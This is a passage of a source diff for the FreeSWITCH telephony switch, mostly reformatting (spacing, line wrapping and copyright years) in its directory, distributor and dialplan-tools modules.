return SWITCH_STATUS_BREAK;
}
}
break;
default:
break;
}
return SWITCH_STATUS_BREAK;
@@ -650,12 +648,12 @@ static switch_status_t listen_entry(switch_core_session_t *session, dir_profile_
}
if (zstr_buf(buf)) {
switch_snprintf(macro, sizeof(macro), "phrase:%s:%d", DIR_RESULT_ITEM, cbt->want+1);
switch_snprintf(macro, sizeof(macro), "phrase:%s:%d", DIR_RESULT_ITEM, cbt->want + 1);
switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), 1, profile->terminator_key);
}
if (!zstr_buf(recorded_name) && zstr_buf(buf)) {
switch_ivr_read(session, 0, 1, recorded_name, NULL, buf, sizeof(buf), 1, profile->terminator_key);
switch_ivr_read(session, 0, 1, recorded_name, NULL, buf, sizeof(buf), 1, profile->terminator_key);
}
if (zstr_buf(recorded_name) && zstr_buf(buf)) {
@@ -667,7 +665,8 @@ static switch_status_t listen_entry(switch_core_session_t *session, dir_profile_
switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), 1, profile->terminator_key);
}
if (zstr_buf(buf)) {
switch_snprintf(macro, sizeof(macro), "phrase:%s:%c,%c,%c,%c", DIR_RESULT_MENU, *profile->select_name_key, *profile->next_key, *profile->prev_key, *profile->new_search_key);
switch_snprintf(macro, sizeof(macro), "phrase:%s:%c,%c,%c,%c", DIR_RESULT_MENU, *profile->select_name_key, *profile->next_key, *profile->prev_key,
*profile->new_search_key);
switch_ivr_read(session, 0, 1, macro, NULL, buf, sizeof(buf), profile->digit_timeout, profile->terminator_key);
}
@@ -688,7 +687,8 @@ static switch_status_t listen_entry(switch_core_session_t *session, dir_profile_
return SWITCH_STATUS_SUCCESS;
}
switch_status_t gather_name_digit(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params) {
switch_status_t gather_name_digit(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_status_t status = SWITCH_STATUS_SUCCESS;
cbr_t cbr;
@@ -707,7 +707,7 @@ switch_status_t gather_name_digit(switch_core_session_t *session, dir_profile_t
/* Gather the user Name */
switch_snprintf(macro, sizeof(macro), "%s:%c", (params->search_by_last_name?"last_name":"first_name"), *profile->switch_order_key);
switch_snprintf(macro, sizeof(macro), "%s:%c", (params->search_by_last_name ? "last_name" : "first_name"), *profile->switch_order_key);
switch_ivr_phrase_macro(session, DIR_INTRO, macro, NULL, &args);
while (switch_channel_ready(channel)) {
@@ -737,7 +737,8 @@ switch_status_t gather_name_digit(switch_core_session_t *session, dir_profile_t
return status;
}
switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params) {
switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *profile, search_params_t *params)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
char *sql = NULL;
char entry_count[80] = "";
@@ -749,7 +750,10 @@ switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *p
cbt.buf = entry_count;
cbt.len = sizeof(entry_count);
sql = switch_mprintf("select count(*) from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%'", globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name?"last_name_digit":"first_name_digit"), params->digits);
sql =
switch_mprintf("select count(*) from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%'",
globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name ? "last_name_digit" : "first_name_digit"),
params->digits);
directory_execute_sql_callback(profile->mutex, sql, sql2str_callback, &cbt);
switch_safe_free(sql);
@@ -773,7 +777,10 @@ switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *p
memset(&listing_cbt, 0, sizeof(listing_cbt));
listing_cbt.params = params;
sql = switch_mprintf("select extension, full_name, last_name, first_name, name_visible, exten_visible from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%' order by last_name, first_name", globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name?"last_name_digit":"first_name_digit"), params->digits);
sql =
switch_mprintf
("select extension, full_name, last_name, first_name, name_visible, exten_visible from directory_search where hostname = '%q' and uuid = '%q' and name_visible = 1 and %s like '%q%%' order by last_name, first_name",
globals.hostname, switch_core_session_get_uuid(session), (params->search_by_last_name ? "last_name_digit" : "first_name_digit"), params->digits);
for (cur_entry = 0; cur_entry < result_count; cur_entry++) {
listing_cbt.index = 0;
@@ -812,7 +819,7 @@ switch_status_t navigate_entrys(switch_core_session_t *session, dir_profile_t *p
}
}
end:
end:
switch_safe_free(sql);
return status;
@@ -825,8 +832,8 @@ SWITCH_STANDARD_APP(directory_function)
char *argv[6] = { 0 };
char *mydata = NULL;
const char *profile_name = NULL;
const char *domain_name = NULL;
dir_profile_t * profile = NULL;
const char *domain_name = NULL;
dir_profile_t *profile = NULL;
int x = 0;
char *sql = NULL;
search_params_t s_param;
@@ -866,7 +873,7 @@ SWITCH_STANDARD_APP(directory_function)
s_param.search_by_last_name = 0;
}
attempts = profile->max_menu_attempt;
s_param.try_again = 1;
s_param.try_again = 1;
while (switch_channel_ready(channel) && (s_param.try_again && attempts-- > 0)) {
s_param.try_again = 0;
gather_name_digit(session, profile, &s_param);
@@ -895,7 +902,7 @@ SWITCH_STANDARD_APP(directory_function)
sql = switch_mprintf("delete from directory_search where hostname = '%q' and uuid = '%q'", globals.hostname, switch_core_session_get_uuid(session));
directory_execute_sql(sql, profile->mutex);
switch_safe_free(sql);
profile_rwunlock(profile);
profile_rwunlock(profile);
}
SWITCH_MODULE_LOAD_FUNCTION(mod_directory_load)
@@ -954,7 +961,7 @@ SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_directory_shutdown)
switch_mutex_lock(globals.mutex);
while((hi = switch_hash_first(NULL, globals.profile_hash))) {
while ((hi = switch_hash_first(NULL, globals.profile_hash))) {
switch_hash_this(hi, &key, &keylen, &val);
profile = (dir_profile_t *) val;
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -64,7 +64,7 @@ struct dist_list {
static void destroy_node(struct dist_node *node)
{
struct dist_node *old;
while(node) {
while (node) {
old = node;
node = node->next;
if (old->name) {
@@ -78,7 +78,7 @@ static void destroy_list(struct dist_list *list)
{
struct dist_list *old;
while(list) {
while (list) {
old = list;
list = list->next;
destroy_node(old->nodes);
@@ -97,14 +97,14 @@ static struct {
static int load_config(int reloading)
static int load_config(int reloading)
{
struct dist_list *main_list=NULL, *new_list, *old_list=NULL, *lp=NULL;
struct dist_list *main_list = NULL, *new_list, *old_list = NULL, *lp = NULL;
switch_status_t status = SWITCH_STATUS_FALSE;
char *cf = "distributor.conf";
switch_xml_t cfg, xml, lists, list, param;
if (!(xml = switch_xml_open_cfg(cf, &cfg, NULL))) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", cf);
return SWITCH_STATUS_TERM;
@@ -120,7 +120,7 @@ static int load_config(int reloading)
for (list = switch_xml_child(lists, "list"); list; list = list->next) {
const char *name = switch_xml_attr(list, "name");
const char *tweight = switch_xml_attr(list, "total-weight");
struct dist_node *node, *np=NULL;
struct dist_node *node, *np = NULL;
int target_weight = 10;
int accum = 0;
@@ -128,30 +128,30 @@ static int load_config(int reloading)
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing NAME!\n");
continue;
}
if (!zstr(tweight)) {
target_weight = atoi(tweight);
}
switch_zmalloc(new_list, sizeof(*new_list));
new_list->name = strdup(name);
new_list->last = -1;
new_list->target_weight = target_weight;
if (lp) {
lp->next = new_list;
} else {
main_list = new_list;
}
lp = new_list;
for (param = switch_xml_child(list, "node"); param; param = param->next) {
char *name = (char *) switch_xml_attr_soft(param, "name");
char *weight_val = (char *) switch_xml_attr_soft(param, "weight");
int weight = 0, tmp;
if ((tmp = atoi(weight_val)) < 1) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Weight %d value incorrect, must be > 0\n", tmp);
continue;
@@ -163,23 +163,25 @@ static int load_config(int reloading)
}
if (accum + tmp > lp->target_weight) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Target Weight %d already met, ignoring subsequent entries.\n", lp->target_weight);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Target Weight %d already met, ignoring subsequent entries.\n",
lp->target_weight);
continue;
}
accum += tmp;
weight = lp->target_weight - tmp;
if (weight < 0 || weight > lp->target_weight) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Weight %d value incorrect, must be between 1 and %d\n", weight, lp->target_weight);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Weight %d value incorrect, must be between 1 and %d\n", weight,
lp->target_weight);
continue;
}
switch_zmalloc(node, sizeof(*node));
node->name = strdup(name);
node->weight = node->cur_weight = weight;
if (np) {
np->next = node;
@@ -198,7 +200,7 @@ static int load_config(int reloading)
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Total weight does not add up to total weight %d\n", lp->target_weight);
for(np1 = lp->nodes; np1; np1 = np1->next) {
for (np1 = lp->nodes; np1; np1 = np1->next) {
np1->weight += lp->target_weight - ea;
}
@@ -230,7 +232,7 @@ static int reset_list(struct dist_list *list)
{
struct dist_node *np;
for(np = list->nodes; np; np = np->next) {
for (np = list->nodes; np; np = np->next) {
np->cur_weight = np->weight;
}
list->last = -1;
@@ -243,8 +245,8 @@ static struct dist_node *find_next(struct dist_list *list)
struct dist_node *np, *match = NULL;
int x = 0, mx = 0;
int matches = 0, loops = 0;
for(;;) {
for (;;) {
if (++loops > 1000) {
break;
@@ -255,7 +257,7 @@ static struct dist_node *find_next(struct dist_list *list)
list->last = -1;
}
match = NULL;
for(np = list->nodes; np; np = np->next) {
for (np = list->nodes; np; np = np->next) {
if (np->cur_weight < list->target_weight) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s %d/%d\n", np->name, np->cur_weight, list->target_weight);
matches++;
@@ -274,7 +276,7 @@ static struct dist_node *find_next(struct dist_list *list)
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Choose %s\n", match->name);
return match;
}
if (matches) {
list->last = -1;
} else {
@@ -294,7 +296,7 @@ static char *dist_engine(const char *name)
char *str = NULL;
switch_mutex_lock(globals.mod_lock);
for(lp = globals.list; lp; lp = lp->next) {
for (lp = globals.list; lp; lp = lp->next) {
if (!strcasecmp(name, lp->name)) {
np = find_next(lp);
break;
@@ -307,14 +309,14 @@ static char *dist_engine(const char *name)
switch_mutex_unlock(globals.mod_lock);
return str;
}
SWITCH_STANDARD_APP(distributor_exec)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
char *ret = NULL;
if (zstr(data)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "distributor requires an argument\n");
return;
@@ -370,11 +372,12 @@ SWITCH_MODULE_LOAD_FUNCTION(mod_distributor_load)
globals.pool = pool;
load_config(SWITCH_FALSE);
SWITCH_ADD_API(api_interface, "distributor", "Distributor API", distributor_function, "<list name>");
SWITCH_ADD_API(api_interface, "distributor_ctl", "Distributor API", distributor_ctl_function, "[reload]");
SWITCH_ADD_APP(app_interface, "distributor", "Distributor APP", "Distributor APP", distributor_exec, "<list name>", SAF_SUPPORT_NOMEDIA|SAF_ROUTING_EXEC);
SWITCH_ADD_APP(app_interface, "distributor", "Distributor APP", "Distributor APP", distributor_exec, "<list name>",
SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
/* indicate that the module should continue to be loaded */
+186 -163
View File
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
* Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
* Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -89,7 +89,7 @@ SWITCH_STANDARD_DIALPLAN(inline_dialplan_hunt)
switch_caller_extension_add_application(session, extension, app, data);
}
caller_profile->destination_number = (char *)caller_profile->rdnis;
caller_profile->destination_number = (char *) caller_profile->rdnis;
caller_profile->rdnis = SWITCH_BLANK_STRING;
return extension;
@@ -177,7 +177,8 @@ SWITCH_STANDARD_APP(exe_function)
SWITCH_STANDARD_APP(mkdir_function)
{
switch_dir_make_recursive(data, SWITCH_DEFAULT_DIR_PERMS, switch_core_session_get_pool(session));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s MKDIR: %s\n", switch_channel_get_name(switch_core_session_get_channel(session)), data);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s MKDIR: %s\n",
switch_channel_get_name(switch_core_session_get_channel(session)), data);
}
#define SOFT_HOLD_SYNTAX "<unhold key> [<moh_a>] [<moh_b>]"
@@ -276,7 +277,7 @@ SWITCH_STANDARD_APP(dtmf_bind_function)
if (strchr(argv[2], '1')) {
bind_flags |= SBF_ONCE;
}
if (switch_ivr_bind_dtmf_meta_session(session, kval, bind_flags, argv[3]) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Bind Error!\n");
}
@@ -375,7 +376,7 @@ SWITCH_STANDARD_APP(eavesdrop_function)
if (e_data.total) {
for (x = 0; x < e_data.total && switch_channel_ready(channel); x++) {
/* If we have a group and 1000 concurrent calls, we will flood the logs. This check avoids this */
if ( !require_group )
if (!require_group)
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Spy: %s\n", e_data.uuid_list[x]);
if ((file = switch_channel_get_variable(channel, "eavesdrop_indicate_new"))) {
switch_ivr_play_file(session, NULL, file, NULL);
@@ -437,9 +438,9 @@ SWITCH_STANDARD_APP(set_audio_level_function)
mydata = switch_core_session_strdup(session, data);
argc = switch_split(mydata, ' ', argv);
if (argc != 2) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
switch_core_session_get_name(session), SET_AUDIO_LEVEL_SYNTAX);
return;
}
@@ -447,8 +448,8 @@ SWITCH_STANDARD_APP(set_audio_level_function)
level = atoi(argv[1]);
switch_ivr_session_audio(session, "level", argv[0], level);
}
#define SET_MUTE_SYNTAX "[read|write] [[true|cn level]|false]"
@@ -461,19 +462,19 @@ SWITCH_STANDARD_APP(set_mute_function)
mydata = switch_core_session_strdup(session, data);
argc = switch_split(mydata, ' ', argv);
if (argc != 2) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s Error. USAGE: %s\n",
switch_core_session_get_name(session), SET_MUTE_SYNTAX);
return;
}
if ((level = atoi(argv[1])) <= 0) {
level = switch_true(argv[1]);
}
switch_ivr_session_audio(session, "mute", argv[0], level);
}
@@ -731,7 +732,7 @@ SWITCH_STANDARD_APP(presence_function)
return;
}
switch_channel_presence(channel, argv[0], argv[1], argv[2]);
switch_channel_presence(channel, argv[0], argv[1], argv[2]);
}
SWITCH_STANDARD_APP(pre_answer_function)
@@ -787,7 +788,7 @@ SWITCH_STANDARD_APP(deflect_function)
SWITCH_STANDARD_APP(set_function)
{
char *var, *val = NULL;
if (zstr(data)) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No variable name specified.\n");
} else {
@@ -808,7 +809,8 @@ SWITCH_STANDARD_APP(set_function)
expanded = switch_channel_expand_variables(channel, val);
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SET [%s]=[%s]\n", switch_channel_get_name(channel), var, expanded ? expanded : "UNDEF");
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "%s SET [%s]=[%s]\n", switch_channel_get_name(channel), var,
expanded ? expanded : "UNDEF");
switch_channel_set_variable_var_check(channel, var, expanded, SWITCH_FALSE);
if (expanded && expanded != val) {
@@ -857,7 +859,7 @@ SWITCH_STANDARD_APP(set_profile_var_function)
val = NULL;
}
}
switch_channel_set_profile_var(switch_core_session_get_channel(session), name, val);
}
}
@@ -891,8 +893,8 @@ SWITCH_STANDARD_APP(export_function)
}
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "EXPORT %s[%s]=[%s]\n", local ? "" : "(REMOTE ONLY) ", var_name ? var_name : "",
val ? val : "UNDEF");
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "EXPORT %s[%s]=[%s]\n", local ? "" : "(REMOTE ONLY) ",
var_name ? var_name : "", val ? val : "UNDEF");
switch_channel_set_variable(channel, var, val);
if (var && val) {
@@ -999,11 +1001,11 @@ SWITCH_STANDARD_APP(event_function)
while (*p == ' ')
*p++ = '\0';
val = p;
if (!strcasecmp(var,"Event-Name")) {
if (!strcasecmp(var, "Event-Name")) {
switch_name_event(val, &event->event_id);
switch_event_del_header(event, var);
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, var, val);
} else if (!strcasecmp(var,"Event-Subclass")) {
} else if (!strcasecmp(var, "Event-Subclass")) {
size_t len = strlen(val) + 1;
void *new = malloc(len);
switch_assert(new);
@@ -1043,7 +1045,8 @@ SWITCH_STANDARD_APP(privacy_function)
switch_clear_flag(caller_profile, SWITCH_CPF_HIDE_NAME);
switch_clear_flag(caller_profile, SWITCH_CPF_HIDE_NUMBER);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "INVALID privacy mode specified. Use a valid mode [no|yes|name|full|number].\n");
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR,
"INVALID privacy mode specified. Use a valid mode [no|yes|name|full|number].\n");
}
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Set Privacy to %s [%d]\n", data, caller_profile->flags);
}
@@ -1112,7 +1115,7 @@ SWITCH_STANDARD_API(strftime_api_function)
SWITCH_STANDARD_API(presence_api_function)
{
switch_event_t *event;
char *lbuf = NULL , *argv[4];
char *lbuf = NULL, *argv[4];
int argc = 0;
switch_event_types_t type = SWITCH_EVENT_PRESENCE_IN;
int need = 4;
@@ -1158,7 +1161,7 @@ SWITCH_STANDARD_API(presence_api_function)
switch_safe_free(lbuf);
return SWITCH_STATUS_SUCCESS;
error:
error:
switch_safe_free(lbuf);
stream->write_function(stream, "Invalid: presence %s", PRESENCE_USAGE);
@@ -1173,8 +1176,7 @@ SWITCH_STANDARD_API(chat_api_function)
if (!zstr(cmd) && (lbuf = strdup(cmd))
&& (argc = switch_separate_string(lbuf, '|', argv, (sizeof(argv) / sizeof(argv[0])))) >= 4) {
if (switch_core_chat_send(argv[0], "dp", argv[1], argv[2], "", argv[3],
!zstr(argv[4]) ? argv[4] : NULL , "") == SWITCH_STATUS_SUCCESS) {
if (switch_core_chat_send(argv[0], "dp", argv[1], argv[2], "", argv[3], !zstr(argv[4]) ? argv[4] : NULL, "") == SWITCH_STATUS_SUCCESS) {
stream->write_function(stream, "Sent");
} else {
stream->write_function(stream, "Error! Message Not Sent");
@@ -1206,7 +1208,7 @@ SWITCH_STANDARD_APP(ivr_application_function)
{
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_event_t *params;
const char *name = (const char*)data;
const char *name = (const char *) data;
if (channel) {
switch_xml_t cxml = NULL, cfg = NULL, xml_menus = NULL, xml_menu = NULL;
@@ -1234,7 +1236,7 @@ SWITCH_STANDARD_APP(ivr_application_function)
&& switch_ivr_menu_stack_xml_build(xml_ctx, &menu_stack, xml_menus, xml_menu) == SWITCH_STATUS_SUCCESS) {
switch_xml_free(cxml);
cxml = NULL;
switch_ivr_menu_execute(session, menu_stack, (char*)name, NULL);
switch_ivr_menu_execute(session, menu_stack, (char *) name, NULL);
switch_ivr_menu_stack_free(menu_stack);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Unable to create menu\n");
@@ -1404,7 +1406,7 @@ static switch_status_t on_dtmf(switch_core_session_t *session, void *input, swit
for (p = terminators; p && *p; p++) {
if (*p == dtmf->digit) {
switch_snprintf(sbuf, sizeof(sbuf), "%c", *p);
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, sbuf );
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, sbuf);
return SWITCH_STATUS_BREAK;
}
}
@@ -1432,7 +1434,7 @@ SWITCH_STANDARD_APP(sleep_function)
args.input_callback = on_dtmf;
args.buf = buf;
args.buflen = sizeof(buf);
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
}
switch_ivr_sleep(session, ms, SWITCH_TRUE, &args);
@@ -1503,7 +1505,7 @@ SWITCH_STANDARD_APP(speak_function)
args.buf = buf;
args.buflen = sizeof(buf);
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
switch_ivr_speak_text(session, engine, voice, text, &args);
}
@@ -1582,7 +1584,8 @@ static switch_status_t hanguphook(switch_core_session_t *session)
switch_stream_handle_t stream = { 0 };
SWITCH_STANDARD_STREAM(stream);
switch_api_execute("uuid_bridge", id, NULL, &stream);
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "\nHangup Command uuid_bridge(%s):\n%s\n", id, switch_str_nil((char *) stream.data));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "\nHangup Command uuid_bridge(%s):\n%s\n", id,
switch_str_nil((char *) stream.data));
switch_safe_free(stream.data);
}
@@ -1607,7 +1610,7 @@ SWITCH_STANDARD_APP(att_xfer_function)
switch_channel_set_variable(channel, SWITCH_SOFT_HOLDING_UUID_VARIABLE, bond);
if (switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)
if (switch_ivr_originate(session, &peer_session, &cause, data, 0, NULL, NULL, NULL, NULL, NULL, SOF_NONE, NULL)
!= SWITCH_STATUS_SUCCESS || !peer_session) {
goto end;
}
@@ -1640,13 +1643,13 @@ SWITCH_STANDARD_APP(att_xfer_function)
switch_channel_t *b_channel = switch_core_session_get_channel(b_session);
switch_snprintf(buf, sizeof(buf), "%s %s", switch_core_session_get_uuid(peer_session), switch_core_session_get_uuid(session));
switch_channel_set_variable(b_channel, "xfer_uuids", buf);
switch_snprintf(buf, sizeof(buf), "%s %s", switch_core_session_get_uuid(peer_session), bond);
switch_channel_set_variable(channel, "xfer_uuids", buf);
switch_core_event_hook_add_state_change(session, hanguphook);
switch_core_event_hook_add_state_change(b_session, hanguphook);
switch_core_session_rwunlock(b_session);
}
}
@@ -1654,7 +1657,7 @@ SWITCH_STANDARD_APP(att_xfer_function)
if (!br) {
switch_ivr_uuid_bridge(switch_core_session_get_uuid(session), bond);
}
}
switch_core_session_rwunlock(peer_session);
@@ -1813,11 +1816,11 @@ SWITCH_STANDARD_APP(say_function)
if (!zstr(data) && (lbuf = switch_core_session_strdup(session, data))
&& (argc = switch_separate_string(lbuf, ' ', argv, (sizeof(argv) / sizeof(argv[0])))) == 4) {
args.input_callback = on_dtmf;
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
switch_ivr_say(session, argv[3], argv[0], argv[1], argv[2], &args);
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "Usage: %s\n", SAY_SYNTAX);
@@ -1841,14 +1844,15 @@ SWITCH_STANDARD_APP(phrase_function)
if ((mdata = strchr(macro, ','))) {
*mdata++ = '\0';
}
lang = switch_channel_get_variable(channel, "language");
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Execute %s(%s) lang %s\n", macro, switch_str_nil(mdata), switch_str_nil(lang));
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Execute %s(%s) lang %s\n", macro, switch_str_nil(mdata),
switch_str_nil(lang));
args.input_callback = on_dtmf;
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
status = switch_ivr_phrase_macro(session, macro, mdata, lang, &args);
} else {
@@ -1878,10 +1882,10 @@ SWITCH_STANDARD_APP(playback_function)
switch_file_handle_t fh = { 0 };
char *p;
const char *file = NULL;
if (data) {
file = switch_core_session_strdup(session, data);
if ((p = strchr(file, '@')) && *(p+1) == '@') {
if ((p = strchr(file, '@')) && *(p + 1) == '@') {
*p = '\0';
p += 2;
if (p && *p) {
@@ -1894,7 +1898,7 @@ SWITCH_STANDARD_APP(playback_function)
args.input_callback = on_dtmf;
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
status = switch_ivr_play_file(session, &fh, file, &args);
@@ -1920,8 +1924,8 @@ SWITCH_STANDARD_APP(endless_playback_function)
switch_channel_t *channel = switch_core_session_get_channel(session);
switch_status_t status = SWITCH_STATUS_SUCCESS;
const char *file = data;
while(switch_channel_ready(channel)) {
while (switch_channel_ready(channel)) {
status = switch_ivr_play_file(session, NULL, file, NULL);
if (status != SWITCH_STATUS_SUCCESS && status != SWITCH_STATUS_BREAK) {
@@ -1968,7 +1972,7 @@ SWITCH_STANDARD_APP(gentones_function)
args.input_callback = on_dtmf;
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
switch_ivr_gentones(session, tone_script, loops, &args);
}
@@ -2060,7 +2064,7 @@ SWITCH_STANDARD_APP(record_function)
args.input_callback = on_dtmf;
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "" );
switch_channel_set_variable(channel, SWITCH_PLAYBACK_TERMINATOR_USED, "");
status = switch_ivr_record_file(session, &fh, path, &args, limit);
@@ -2071,7 +2075,7 @@ SWITCH_STANDARD_APP(record_function)
SWITCH_STANDARD_APP(preprocess_session_function)
{
switch_ivr_preprocess_session(session, (char *)data);
switch_ivr_preprocess_session(session, (char *) data);
}
SWITCH_STANDARD_APP(record_session_function)
@@ -2089,7 +2093,7 @@ SWITCH_STANDARD_APP(record_session_function)
/* Search for a space then a plus followed by only numbers at the end of the path,
if found trim any spaces to the left/right of the plus use the left side as the
path and right side as a time limit on the recording
*/
*/
/* if we find a + and the character before it is a space */
if ((path_end = strrchr(path, '+')) && path_end > path && *(path_end - 1) == ' ') {
@@ -2102,7 +2106,7 @@ SWITCH_STANDARD_APP(record_session_function)
path_end--;
/* trim spaces to the left of the plus */
while(path_end > path && *path_end == ' ') {
while (path_end > path && *path_end == ' ') {
path_end--;
}
@@ -2165,15 +2169,15 @@ static void *SWITCH_THREAD_FUNC camp_music_thread(switch_thread_t *thread, void
args.input_callback = camp_fire;
args.buf = dbuf;
args.buflen = sizeof(dbuf);
switch_core_session_read_lock(session);
/* don't set this to a local_stream:// or you will not be happy */
if ((greet = switch_channel_get_variable(channel, "campon_announce_sound"))) {
status = switch_ivr_play_file(session, NULL, greet, &args);
}
while(stake->running && switch_channel_ready(channel)) {
while (stake->running && switch_channel_ready(channel)) {
if (status != SWITCH_STATUS_BREAK) {
if (!strcasecmp(moh, "silence")) {
status = switch_ivr_collect_digits_callback(session, &args, 0, 0);
@@ -2207,7 +2211,7 @@ SWITCH_STANDARD_APP(audio_bridge_function)
switch_threadattr_t *thd_attr = NULL;
char *camp_data = NULL;
switch_status_t status;
if (zstr(data)) {
return;
}
@@ -2218,7 +2222,7 @@ SWITCH_STANDARD_APP(audio_bridge_function)
if ((v_campon = switch_channel_get_variable(caller_channel, "campon")) && switch_true(v_campon)) {
const char *cid_name = NULL;
const char *cid_number = NULL;
if (!(cid_name = switch_channel_get_variable(caller_channel, "effective_caller_id_name"))) {
cid_name = switch_channel_get_variable(caller_channel, "caller_id_name");
}
@@ -2239,7 +2243,7 @@ SWITCH_STANDARD_APP(audio_bridge_function)
v_campon_timeout = switch_channel_get_variable(caller_channel, "campon_timeout");
v_campon_sleep = switch_channel_get_variable(caller_channel, "campon_sleep");
v_campon_fallback_exten = switch_channel_get_variable(caller_channel, "campon_fallback_exten");
if (v_campon_retries) {
if ((tmp = atoi(v_campon_retries)) > 0) {
campon_retries = tmp;
@@ -2262,10 +2266,10 @@ SWITCH_STANDARD_APP(audio_bridge_function)
camping = 1;
if (cid_name && cid_number) {
camp_data = switch_core_session_sprintf(session, "{origination_caller_id_name='%s',origination_caller_id_number='%s'}%s",
